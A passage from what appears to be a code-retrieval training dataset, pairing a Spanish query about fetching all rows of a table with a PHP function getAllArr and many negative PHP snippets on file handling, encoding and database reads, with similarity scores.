\"\";\n\t\t$k = 0;\n\t\t\n\t\tforeach( $jsFiles as $jsFile )\n\t\t{\n\t\t\t$data = file_get_contents( $jsFile );\n\t\t\t//$bigJs .= \"\\n\\n//***********************************************************************\";\n\t\t\t//$bigJs .= \"\\n\\n//**************************\".$jsFile.\"**************************\";\n\t\t\t//$bigJs .= \"\\n\\n//***********************************************************************\";\n\t\t\t$bigJs .= \"\\n\\n\".$data.\"\\n\\n\";\n\t\t\t$k++;\n\t\t}\n\t\t\n\t\techo \"\\npacked \".$k.\" files \\n\";\n\t\t\n\t\treturn $bigJs;\n\t}", "public static function getBase64JsonRequest(array $orderData){\n return base64_encode(json_encode($orderData));\n }", "function data_extract( array $files ) {\n\n // Recursively extract the data key from the files.\n return array_map(function($file) { \n\n // Extract the data key.\n return (isset($file['data']) ? $file['data'] : data_extract($file));\n\n }, $files);\n\n}", "public function getBinary();", "public function packerTwoPack($data)\n {\n $encoded = base64_encode($data);\n\n // Separa em dois pedaços\n $partOne = mb_substr($encoded, 0, 5, \"utf-8\");\n $partTwo = mb_substr($encoded, 5, null, \"utf-8\");\n\n // Insere 'Sg' para invalidar o base64\n return $partOne . 'Sg' . $partTwo;\n }", "public function serialize($data)\n {\n return Base64Native::serialize($data);\n }", "protected function processPhp(array $data)\n {\n\t\t$content = \"<?php \\n /* generated config file */ \\n return \";\n\t\t$content .= $this->printArray($data);\n\t\t$content .= \"\\n?>\";\n\n return $content;\n\t}", "function saveBase64Data($data)\n {\n global $CFG;\n\n $folder = run('folders:instance', array('id' => $this->folder));\n\n // Decode the file and store it\n $filename = time() . \"_\" . preg_replace(\"/[^\\w.-]/i\",\"_\",$this->originalname);\n $storage = $folder->getPersonalStorage();\n \n $if = fopen($CFG->dataroot . $storage . $filename, \"wb\");\n\n $file = base64_decode($data);\n\n fwrite($if, $file);\n \n fclose($if);\n\n $size = filesize($CFG->dataroot . $storage . $filename);\n\n $allowed = $this->checkQuota($size);\n\n if ($allowed == false)\n {\n // Quotum exceeded, remove the upload\n @unlink($CFG->dataroot . $storage . $filename);\n\n $result['value'] = false;\n $result['message'] = \"Quotum exceeded\";\n\n return $result;\n }\n else\n {\n $this->date = time();\n $this->size = $size;\n $this->location = $storage . $filename;\n\n return $this->save();\n }\n }", "public function getData() {\n $ret= '--'.$this->boundary;\n foreach ($this->parts as $part) {\n $ret.= self::CRLF.$part->getData().self::CRLF.'--'.$this->boundary;\n }\n return $ret.'--'.self::CRLF;\n }", "function getFileData( $name ) {\r\n\treturn addslashes( @fread( fopen( $_FILES[$name][tmp_name], \"rb\" ), @filesize( $_FILES[$name][tmp_name] ) ) );\r\n}", "function wv_base64url_encode($data) {\n return rtrim(strtr(base64_encode($data), '$$#', '%%*'), '=');\n }", "public function buildDataArray($data)\n {\n $keys = self::getKeysInfo();\n if (!$keys) {\n return false;\n }\n $apiKey = $keys['privateKey'];\n $data['siteId'] = $keys['siteId'];\n\n $checksum = Twispay_Encoder::getBase64Checksum($data, $apiKey);\n $jsonRequest = Twispay_Encoder::getBase64JsonRequest($data);\n\n $data['checksum'] = $checksum;\n $data['jsonRequest'] = $jsonRequest;\n\n return $data;\n }", "function gz_file_put_contents($filename, &$data)\r\n{\r\n $ret = false;\r\n \r\n $zip = gzopen(\"$filename.gz\", 'wb9');\r\n if( $zip !== false )\r\n {\r\n if( gzwrite($zip, $data) )\r\n $ret = true;\r\n gzclose($zip);\r\n }\r\n \r\n return $ret;\r\n}", "function _getZipInfo(& $data) \n {\n // Initialize variables\n $entries = array ();\n\n // Find the last central directory header entry\n $fhLast = strpos($data, $this->_ctrlDirEnd);\n do {\n $last = $fhLast;\t\t\n } while(($fhLast = strpos($data, $this->_ctrlDirEnd, $fhLast+1)) !== false);\n\n // Find the central directory offset\n $offset = 0;\n if($last) {\n $endOfCentralDirectory = unpack('vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength', substr($data, $last+4));\n $offset = $endOfCentralDirectory['CentralDirectoryOffset'];\n }\n\t\t\n // Get details from Central directory structure.\n $fhStart = strpos($data, $this->_ctrlDirHeader, $offset);\n do {\n if (strlen($data) < $fhStart +31) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n\n $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength', substr($data, $fhStart +10, 20));\n $name = substr($data, $fhStart +46, $info['Length']);\n\n $entries[$name] = array('attr' => null, 'crc' => sprintf(\"%08s\", dechex($info['CRC32'] )), 'csize' => $info['Compressed'], 'date' => null, '_dataStart' => null, 'name' => $name, 'method' => $this->_methods[$info['Method']], '_method' => $info['Method'], 'size' => $info['Uncompressed'], 'type' => null);\n $entries[$name]['date'] = mktime((($info['Time'] >> 11) & 0x1f), (($info['Time'] >> 5) & 0x3f), (($info['Time'] << 1) & 0x3e), (($info['Time'] >> 21) & 0x07), (($info['Time'] >> 16) & 0x1f), ((($info['Time'] >> 25) & 0x7f) + 1980));\n\n if (strlen($data) < $fhStart +43) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n $info = unpack('vInternal/VExternal/VOffset', substr($data, $fhStart +36, 10));\n\n $entries[$name]['type'] = ($info['Internal'] & 0x01) ? 'text' : 'binary';\n $entries[$name]['attr'] = (($info['External'] & 0x10) ? 'D' : '-') .\n (($info['External'] & 0x20) ? 'A' : '-') .\n (($info['External'] & 0x03) ? 'S' : '-') .\n (($info['External'] & 0x02) ? 'H' : '-') .\n (($info['External'] & 0x01) ? 'R' : '-');\n \n $entries[$name]['offset'] = $info['Offset'];\n\n // Get details from local file header since we have the offset\n $lfhStart = strpos($data, $this->_fileHeader, $entries[$name]['offset']);\n if (strlen($data) < $lfhStart +34) {\n $this->set('error.message', 'Invalid ZIP data');\n return false;\n }\n $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength', substr($data, $lfhStart +8, 25));\n $name = substr($data, $lfhStart +30, $info['Length']);\n $entries[$name]['_dataStart'] = $lfhStart +30 + $info['Length'] + $info['ExtraLength'];\n } while ((($fhStart = strpos($data, $this->_ctrlDirHeader, $fhStart +46)) !== false));\n \t\n $this->_metadata = array_values($entries);\n \n return true;\n }", "public function get_file_list()\n {\n return array(\n 'sources_custom/hooks/systems/addon_registry/purrrr.php',\n 'data_custom/images/lolcats/index.html',\n 'data_custom/images/lolcats/thumbs/index.html',\n 'data_custom/images/lolcats/funny-pictures-basement-cat-has-pink-sheets.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-ai-calld-jenny-craig.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-asks-you-for-a-favor.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-asks-you-to-pay-fine.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-can-poop-rainbows.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-comes-to-save-day.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-decides-what-to-do.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-does-math.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-does-not-see-your-point.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-eyes-steak.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-a-beatle.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-a-close-encounter.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-had-fun.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-has-trophy-wife.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-hates-your-tablecloth.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-doctor.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-hoarder.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-a-people-lady.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-on-steroids.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-stuck-in-drawer.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-is-very-comfortable.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-kermit-was-about.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-looks-like-a-vase.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-looks-like-boots.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-ok-captain-obvious.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-pounces-on-deer.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-sits-in-box.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-sits-on-your-laptop.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-special-delivery.jpg',\n 'data_custom/images/lolcats/funny-pictures-cat-winks-at-you.jpg',\n 'data_custom/images/lolcats/funny-pictures-cats-are-in-a-musical.jpg',\n 'data_custom/images/lolcats/funny-pictures-cats-have-war.jpg',\n 'data_custom/images/lolcats/funny-pictures-fish-and-cat-judge-your-outfit.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-drops-a-nickel-under-couch.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-ends-meeting2.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-fixes-puppy.jpg',\n 'data_custom/images/lolcats/funny-pictures-kitten-tries-to-stay-neutral.jpg',\n 'data_custom/images/lolcats/funny-pictures-kittens-dispose-of-boyfriend.jpg',\n 'data_custom/images/lolcats/funny-pictures-kittens-yell-at-eachother.jpg',\n 'data_custom/images/lolcats/ridiculous_poses_moddles.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-basement-cat-has-pink-sheets.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-ai-calld-jenny-craig.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-asks-you-for-a-favor.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-asks-you-to-pay-fine.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-can-poop-rainbows.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-comes-to-save-day.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-decides-what-to-do.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-does-math.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-does-not-see-your-point.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-eyes-steak.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-a-beatle.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-a-close-encounter.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-had-fun.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-has-trophy-wife.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-hates-your-tablecloth.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-doctor.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-hoarder.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-a-people-lady.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-on-steroids.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-stuck-in-drawer.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-is-very-comfortable.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-kermit-was-about.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-looks-like-a-vase.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-looks-like-boots.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-ok-captain-obvious.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-pounces-on-deer.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-sits-in-box.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-sits-on-your-laptop.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-special-delivery.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cat-winks-at-you.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cats-are-in-a-musical.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-cats-have-war.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-fish-and-cat-judge-your-outfit.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-drops-a-nickel-under-couch.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-ends-meeting2.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-fixes-puppy.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kitten-tries-to-stay-neutral.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kittens-dispose-of-boyfriend.jpg',\n 'data_custom/images/lolcats/thumbs/funny-pictures-kittens-yell-at-eachother.jpg',\n 'data_custom/images/lolcats/thumbs/ridiculous_poses_moddles.jpg',\n );\n }", "function parse_file($file) { $buffer='';\n if ( substr($file, -3, 3) == '.gz' ) {\n\t$gz = @gzopen($file, 'rb');\n\n\tif ($gz) {\n\n\t\t# Check to see if we got a report\n \t\t# Check to make sure we have a valid file\n\t\t# Read the file\n\t\twhile (!gzeof($gz)) {\n\t \t$buffer .= gzread($gz, 4096);\n \t}\n \tgzclose($gz);\n \t} \n\telse {\n\t\tdie(\"Could not open gzip file. Exiting...\");\n\t}\n\n\tvar_dump(json_decode($buffer),TRUE);\n }\n else {\n\tdie(\"Wrong file type. Exiting...\");\n }\n}", "function concatenateFiles($files) {\n\t\t$buffer = '';\n\t\t\n\t\tforeach ( $files as $file ) {\n\t\t\t$buffer .= file_get_contents ( __DIR__ . '/' . $file );\n\t\t}\n\t\t\n\t\treturn $buffer;\n\t}", "function file_compress_write ($filename, $data) {\r\n $fd = fopen($filename, 'w') or die(\"Can't open file $filename for write!\");\r\n fwrite($fd, gzcompress($data, 9));\r\n fclose($fd);\r\n }", "public function getFiles()\n {\n echo json_encode($this->galery->getFiles());\n }", "function fillerPhpFile($data)\n {\n extract($data, EXTR_PREFIX_ALL, $this->projectConfig['template_profile_prefix']);\n extract($this->projectConfig['project'], EXTR_PREFIX_ALL, '_project');\n\n ob_start();\n require $this->templateFile;\n return ob_get_clean();\n }", "public function getFileContent()\n {\n return $this->extractFileAsText();\n }", "private function fileToBase64($file){\n $content = $file->openFile()->fread($file->getSize());\n return base64_encode($content);\n }", "function files_get() {\n $files = data_read(\".files_meta\");\n return json_result(array('files' => $files, 'count' => count($files)), 200);\n}", "public function getFileData()\n {\n return $this->items;\n }", "public function jsonSerialize()\n {\n $json = array();\n $json['base64_text'] = $this->base64_text;\n $json['base64_image'] = $this->base64_image;\n $json['expires_at'] = $this->expires_at;\n\n return $json;\n }", "function listContent()\n\t{\n\t\tif (!$this->isOpen)\n\t\t\treturn false;\n\n\t\t$content = array();\n\n\t\t$i = 0;\n\t\twhile ($curFile = $this->zip->statIndex($i++))\n\t\t\t$content[] = $curFile['name'];\n\t\treturn $content;\n\t}", "function crypter($data){\n\t$a = base64_encode($data);\n\treturn $a;\n}", "function compress($content)\n {\n // We will remove comments from the string content\n $content = preg_replace('!/\\*[^*]*\\*+([^/][^*]*\\*+)*/!', '', $content);\n // We will remove tabs, spaces, newlines, etc. from the string\n $content = str_replace(array(\"\\r\\n\", \"\\r\", \"\\n\", \"\\t\", ' ', ' ', ' '), '', $content);\n\n return $content;\n }", "protected function compile()\n\t{\n#\t\t$objArchive = new \\ZipWriter('system/tmp/'. $strTmp);\n\t\tif(\\Input::Get('download') && FE_USER_LOGGED_IN)\n\t\t{\n\t\t\t$objDownload = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE id=?\")->execute(\\Input::Get('download'));\n\t\t\t$objFile = \\FilesModel::findByUuid($objDownload->fileSRC);\n\n\t\t\t$this->sendFileToBrowser($objFile->path);\n\t\t}\n\n\t\t$objPage = \\PageModel::findById($GLOBALS['objPage']->id);\n\t\t$strUrl = $this->generateFrontendUrl($objPage->row(), '/download/%s');\n\n\t\t$objCategory = $this->Database->prepare(\"SELECT * FROM tl_download_category WHERE alias=?\")->execute(\\Input::Get('category'));\n\t\t$objArchiv = $this->Database->prepare(\"SELECT * FROM tl_download_archiv WHERE id=?\")->execute($objCategory->pid);\n\n\t\t$objData = $this->Database->prepare(\"SELECT * FROM tl_download_item WHERE pid=? && published=1 ORDER BY sorting ASC\")->execute($objCategory->id);\n\t\twhile($objData->next())\n\t\t{\n\t\t\t$objItem = (object) $objData->row();\n\n#\t\t\t$objItem->archiv = $objArchiv->title;\n#\n#\t\t\tif($objCategory->singleSRC)\n#\t\t\t{\n#\t\t\t\t$objItem->archivIcon = \\FilesModel::findByUuid($objCategory->singleSRC)->path;\n#\t\t\t}\n#\n#\t\t\t$objItem->category = $objCategory->title;\n#\t\t\t$objItem->singleSRC = deserialize($objItem->singleSRC);\n#\n#\t\t\t$arrImages = array();\n#\t\t\tif(is_array($objItem->singleSRC))\n#\t\t\t{\n#\t\t\t\tforeach($objItem->singleSRC as $image)\n#\t\t\t\t{\n#\t\t\t\t\t$arrImages[] = (object) array\n#\t\t\t\t\t(\n#\t\t\t\t\t\t'css' => '',\n#\t\t\t\t\t\t'path' => \\FilesModel::findByUuid($image)->path\n#\t\t\t\t\t);\n#\t\t\t\t}\n#\n#\t\t\t\t$arrImages[0]->css = 'first';\n#\t\t\t}\n#\n#\n#\t\t\tif(FE_USER_LOGGED_IN)\n#\t\t\t{\n#\t\t\t\t$objItem->url = sprintf($strUrl, $objItem->id);\n#\t\t\t\t$objItem->css = 'active';\n#\t\t\t\t$objItem->preview = $arrImages;\n#\t\t\t}\n#\t\t\telse\n#\t\t\t{\n#\t\t\t\t$objItem->css = 'inactive';\n#\t\t\t\t$objItem->preview = array($arrImages[0]);\n#\n#\t\t\t}\n\n\t\t\t$arrData[] = $objItem;\n\t\t}\n\n#\t\tif(!count($arrDaata)) { $arrData = array(); }\n\n\t\t$this->Template->items = $arrData;\n\t}", "public function getEncode()\n {\n\n //dd($zencoder->encode('aa975198d110f86880536cb33136790c216a8cf6.mp4'));\n\n $ffmpeg = new FFMPEG('4f7ef9683ea0df7eb4d07b4a415cbe94595e49c5.mp4');\n //$ffmpeg->encode();\n\n dd($ffmpeg->createThumbnail());\n }", "public function generateZipCommandDataProvider() {\n return [\n [\n 'php://pii_data/',\n 'filename', '123',\n 'zip -jP \"123\" /tmp/pii_data/filename.zip /tmp/pii_data/filename.csv',\n ],\n ['php://pii_data/',\n 'filename',\n FALSE,\n 'zip -j /tmp/pii_data/filename.zip /tmp/pii_data/filename.csv',\n ],\n ];\n }", "function generate_json_file() {\n // Open new file to write\n $json_file = new SplFileObject(\"../CCNiceAudioFiles.json\", \"w\");\n $json_file->fwrite(\"[\\n\");\n\n // Retrieve all non new entries from the database\n $result = $this->get_list_of_published_files();\n\n // For each file generate json entry to be used for presentation\n foreach( $result as $i ){\n\n unset($i['newfile']);\n unset($i['flaggedfile']);\n unset($i['flagcomment']);\n unset($i['md5_sign']);\n unset($i['publishedfile']);\n unset($i['translated']);\n unset($i['downloads']);\n unset($i['filepath']);\n\n $readable_size = $this->convert_file_size($i['size']);\n $i['size'] = $readable_size;\n\n $json_file->fwrite(json_encode($i) . \",\\n\");\n }\n\n $json_file->fseek(-2, SEEK_CUR);\n\n $json_file->fwrite(\"\\n]\");\n $json_file = null;\n\n return;\n }", "private function compress(): string\n {\n $tmpFile = tempnam(sys_get_temp_dir(), \"ReC\");\n $zip = new ZipArchive();\n if ($zip->open($tmpFile, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {\n throw new ApiException(\"Archive could not be created\");\n }\n\n foreach ($this->files as $name => $file) {\n if ($file instanceof IImmutableFile) {\n try {\n $file->addToZip($zip, $name);\n } catch (FileStorageException $e) {\n throw new ApiException(\"Error while adding file to archive\");\n }\n } else {\n // file is actually a local path to the file (BC)\n if ($zip->addFile($file, $name) !== true) {\n throw new ApiException(\"Error while adding file to archive\");\n }\n }\n }\n\n if ($zip->close() !== true) {\n throw new ApiException(\"Archive could not be properly saved\");\n }\n\n if (count($this->files) === 0) {\n // Well the php is interesting in handling zip archives, if you do not\n // provide any file to it, the php will process everything correctly and\n // successfully, creating and even closing, butt beware because if you do\n // not provided nada files, the zip will not be created at all!!!\n // So for further processing we need to at least create an empty file,\n // which will omit further warnings concerning non-existing file during\n // sending back to the user.\n touch($tmpFile);\n }\n\n return $tmpFile;\n }", "public function bytes();", "function fileData($file, $header = NULL) {\n\t\treturn src\\Libre::__fileData($file, $header);\n\t}", "public function base64url_encode($data) { \n\t return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); \n\t}", "protected function gzipContent(): void\n {\n $this->sContents = gzencode(\n $this->sContents,\n self::GZIP_COMPRESS_LEVEL,\n FORCE_GZIP\n );\n }", "public function getContents()\n {\n $x509 = new File_X509();\n\n return $x509->saveX509($x509->loadX509($this->contents)).PHP_EOL;\n }" ]
[ "0.61729825", "0.61260855", "0.6054435", "0.60441285", "0.59015214", "0.58542836", "0.57993424", "0.57759756", "0.57316166", "0.57066953", "0.5671884", "0.5590887", "0.5590368", "0.55902416", "0.55559456", "0.55046976", "0.5487916", "0.5468057", "0.5405073", "0.5404692", "0.53803444", "0.5378412", "0.5372188", "0.53449565", "0.5337484", "0.5333789", "0.53118163", "0.5302702", "0.52858037", "0.5271673", "0.5264611", "0.52355283", "0.5225308", "0.5221078", "0.5211214", "0.5205193", "0.52017355", "0.5183924", "0.5176693", "0.51726824", "0.51698196", "0.51598", "0.51583135", "0.51501673", "0.51472145", "0.5145962", "0.5122071", "0.51218677", "0.5118608", "0.510712", "0.51032394", "0.5099205", "0.5092908", "0.50902706", "0.50900745", "0.5088461", "0.5087281", "0.5080803", "0.50805295", "0.50788033", "0.50761443", "0.50726026", "0.5064264", "0.5053476", "0.50525576", "0.5048252", "0.50436574", "0.50436395", "0.50391793", "0.5036737", "0.50317425", "0.5022038", "0.5020513", "0.50203156", "0.5019305", "0.50089896", "0.50036925", "0.5001321", "0.49940032", "0.49901277", "0.49889162", "0.49834183", "0.49813718", "0.49764955", "0.49661222", "0.49603024", "0.49581373", "0.49544415", "0.49521378", "0.49447834", "0.49396122", "0.4937563", "0.4922998", "0.4917293", "0.49153283", "0.4903109", "0.4901599", "0.49002093", "0.48994905", "0.4894692" ]
0.59598356
4
metodo que sirve para obtener todos los datos de la tabla
public function getAllArr($id) { if(! intval( $id )){ return false; } $id=$this->db->real_escape_string($id); $sql = "SELECT * FROM servicio_paquete where id_serviciopaquete=$id ;"; $res = $this->db->query($sql); $set = array(); if(!$res){ die("Error getting result getAllArr".$sql); } else{ while ($row = $res->fetch_assoc()) { $set[] = $row; } } return $set; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAll(){\n try{\n $sql = \"SELECT * FROM {$this->tabela}\";\n $stm = $this->pdo->prepare($sql);\n $stm->execute();\n $dados = $stm->fetchAll(PDO::FETCH_OBJ);\n return $dados;\n }catch(PDOException $erro){\n echo \"<script>alert('Erro na linha: {$erro->getLine()}')</script>\";\n }\n }", "public function consultaTodos()\n\t{\n\t\t$sql = \"SELECT * FROM \" . $this->tabela;\n\n\t\t// $this->resultado = mysqli_query($this->conn, $sql);\n\t\t$this->resultado = $this->conn->prepare($sql);\n\t\treturn $this->resultado->execute();\n\t}", "public function getAllData($table){\n $sql = \"select * from $table\";\n $this->execute($sql);\n if($this->num_rows() == 0){\n $data = 0;\n }\n else {\n while($datas = $this->getData()){\n $data[] = $datas;\n }\n }\n return $data;\n }", "public static function listAll(){//le todos os dados da tabela\n\n\t\t$sql = new Sql();\n\n\t\treturn $sql->select(\n\t\t\t\"SELECT * FROM tb_products ORDER BY desproduct\" \n\t\t\t);\n\t}", "public function readAll(){\r\n $query = \"SELECT * FROM docente;\";\r\n $statement = $this->cdb->prepare($query);\r\n $statement->execute();\r\n $rows = $statement->fetchAll(\\PDO::FETCH_OBJ);\r\n return $rows; \r\n }", "function getAllData($table){\n\t\ttry {\n\t\t\t$sql = \"SELECT * FROM $table\";\n\t\t\t$query = $this->executeQuery($sql);\n\t\t\t$list = $query->fetchAll(PDO::FETCH_ASSOC);\n\t\t}catch(Exception $e){\n\t\t\t$this->logger->error($sql, $e->getMessage());\n\t\t\tthrow $e;\n\t\t}\n\t\treturn $list;\n\t}", "public static function TraerTodosLosAlumnos(){\n\t\t$sql = 'SELECT * FROM personas';\n $consulta = AccesoDatos::ObtenerObjetoAccesoDatos()->ObtenerConsulta($sql);\n\t $consulta->execute();\t\t\t\n\t\treturn $consulta->fetchAll();\t\n\t}", "public static function getAll(){\n\t\t$sql = \"select * from \".self::$tablename;\n\t\t$query = Executor::doit($sql);\n\t\treturn Model::many($query[0],new TemparioData());\n\t}", "public function pegaTodos(){\n\t\treturn $this->resultado->fetchAll();\n\t}", "public function findAll() {\r\n$sql = \"SELECT * FROM $this->tabela\";\r\n$stm = DB::prepare($sql);\r\n$stm->execute();\r\nreturn $stm->fetchAll();\r\n}", "public function findAll() {\r\n $sql = \"SELECT * FROM $this->tabela\";\r\n $stm = DB::prepare($sql);\r\n $stm->execute();\r\n return $stm->fetchAll();\r\n }", "public function selectAllRegiuniData(){\n $sql = \"SELECT * FROM regiune ORDER BY id DESC\";\n $stmt = $this->db->pdo->prepare($sql);\n $stmt->execute();\n return $stmt->fetchAll(PDO::FETCH_OBJ);\n }", "function listado() {\r\n return self::consulta('SELECT * FROM \".self::$nTabla.\"');\r\n }", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "public function liste(){\n\t\t\t\t\t $this->db->setTablename($this->tablename);\n return $this->db->getRows(array(\"return_type\"=>\"many\"));\n\t\t\t\t\t }", "public static function TraerTodoLosAlumnos()\n {\n $objetoAccesoDato = AccesoDatos::dameUnObjetoAcceso(); \n $consulta =$objetoAccesoDato->RetornarConsulta(\"select * from alumno\");\n $consulta->execute();\t\t\t\n return $consulta->fetchAll(PDO::FETCH_CLASS, \"alumno\");\t\t\n }", "public function findAll(){\n \n\t\t$sql = 'SELECT * FROM ' . self::TABLENAME;\n\n \t$db = new Database(); // se creeaza conexiunea la baza de date\n\t\t$stmt = $db->getConnection()->prepare($sql);\n\t\t$stmt->execute();\n\t\t$results = $stmt->fetchAll();\n\t\n\t\treturn $results; \n }", "public function findAll(){\n \n\t\t$sql = 'SELECT * FROM ' . self::TABLENAME;\n\n \t$db = new Database(); // se creeaza conexiunea la baza de date\n\t\t$stmt = $db->getConnection()->prepare($sql);\n\t\t$stmt->execute();\n\t\t$results = $stmt->fetchAll();\n\t\n\t\treturn $results; \n }", "function readAll() {\r\n $todo = [];\r\n $sql = 'SELECT id, nombre\r\n FROM deportes\r\n ORDER BY nombre';\r\n $stmt = $this->pdo->prepare($sql);\r\n $stmt->execute();\r\n while ($datos = $stmt->fetch()) {\r\n $todo[] = $this->convertRecord($datos);\r\n }\r\n return $todo;\r\n }", "public function recuperarTodos() {\n $query = \"select * from tb_atividade where id_evento = :id\";\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id']);\n // $stmt->bindValue(':id', 8);\n $stmt->execute();\n\n return $stmt->fetchAll(PDO::FETCH_OBJ);\n }", "public function getAll()\n {\n $sql = \"SELECT * FROM \" . self::table . \";\";\n\n $conn = $this->dbc->Get();\n $statement = $conn->prepare($sql);\n $statement->execute();\n $data = $statement->fetchAll();\n $conn = null;\n\n return $data;\n }", "function tablaDatos(){\n\n $editar = $this->Imagenes($this->PrimaryKey,0);\n $eliminar = $this->Imagenes($this->PrimaryKey,1);\n $sql = 'SELECT\n C.id_componentes,\n P.descripcion planta,\n S.descripcion secciones,\n E.descripcion Equipo,\n C.`descripcion` Componente\n ,'.$editar.','.$eliminar.' \nFROM\n `componentes` C\nINNER JOIN\n equipos E ON E.id_equipos = C.`id_equipos`\nINNER JOIN\n secciones S ON S.id_secciones = E.id_secciones\nINNER JOIN\n plantas P ON P.id_planta = S.id_planta\nWHERE\n \n C.`activo` = 1';\n \n $datos = $this->Consulta($sql,1); \n if(count($datos)){\n $_array_formu = array();\n $_array_formu = $this->generateHead($datos);\n $this->CamposHead = ( isset($_array_formu[0]) && is_array($_array_formu[0]) )? $_array_formu[0]: array();\n \n $tablaHtml = '<div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"panel panel-default\">\n <div class=\"panel-body recargaDatos\" style=\"page-break-after: always;\">\n <div class=\"table-responsive\">';\n $tablaHtml .='';\n \t\t$tablaHtml .= $this->print_table($_array_formu, 7, true, 'table table-striped table-bordered',\"id='tablaDatos'\");\n \t\t$tablaHtml .=' </div>\n </div>\n </div>\n </div>\n </div>\n ';\n }else{\n $tablaHtml = '<div class=\"col-md-8\">\n <div class=\"alert alert-info alert-dismissable\">\n <button class=\"close\" aria-hidden=\"true\" data-dismiss=\"alert\" type=\"button\">×</button>\n <strong>Atenci&oacute;n</strong>\n No se encontraron registros.\n </div>\n </div>';\n }\n \n if($this->_datos=='r') echo $tablaHtml;\n else return $tablaHtml;\n \n }", "public function readAll(){\n //select all data\n $query = \"SELECT\n id, num_compte, cle_rib, num_agence, duree_epargne, frais, solde, created\n FROM\n \" . $this->table_name . \"\n ORDER BY\n 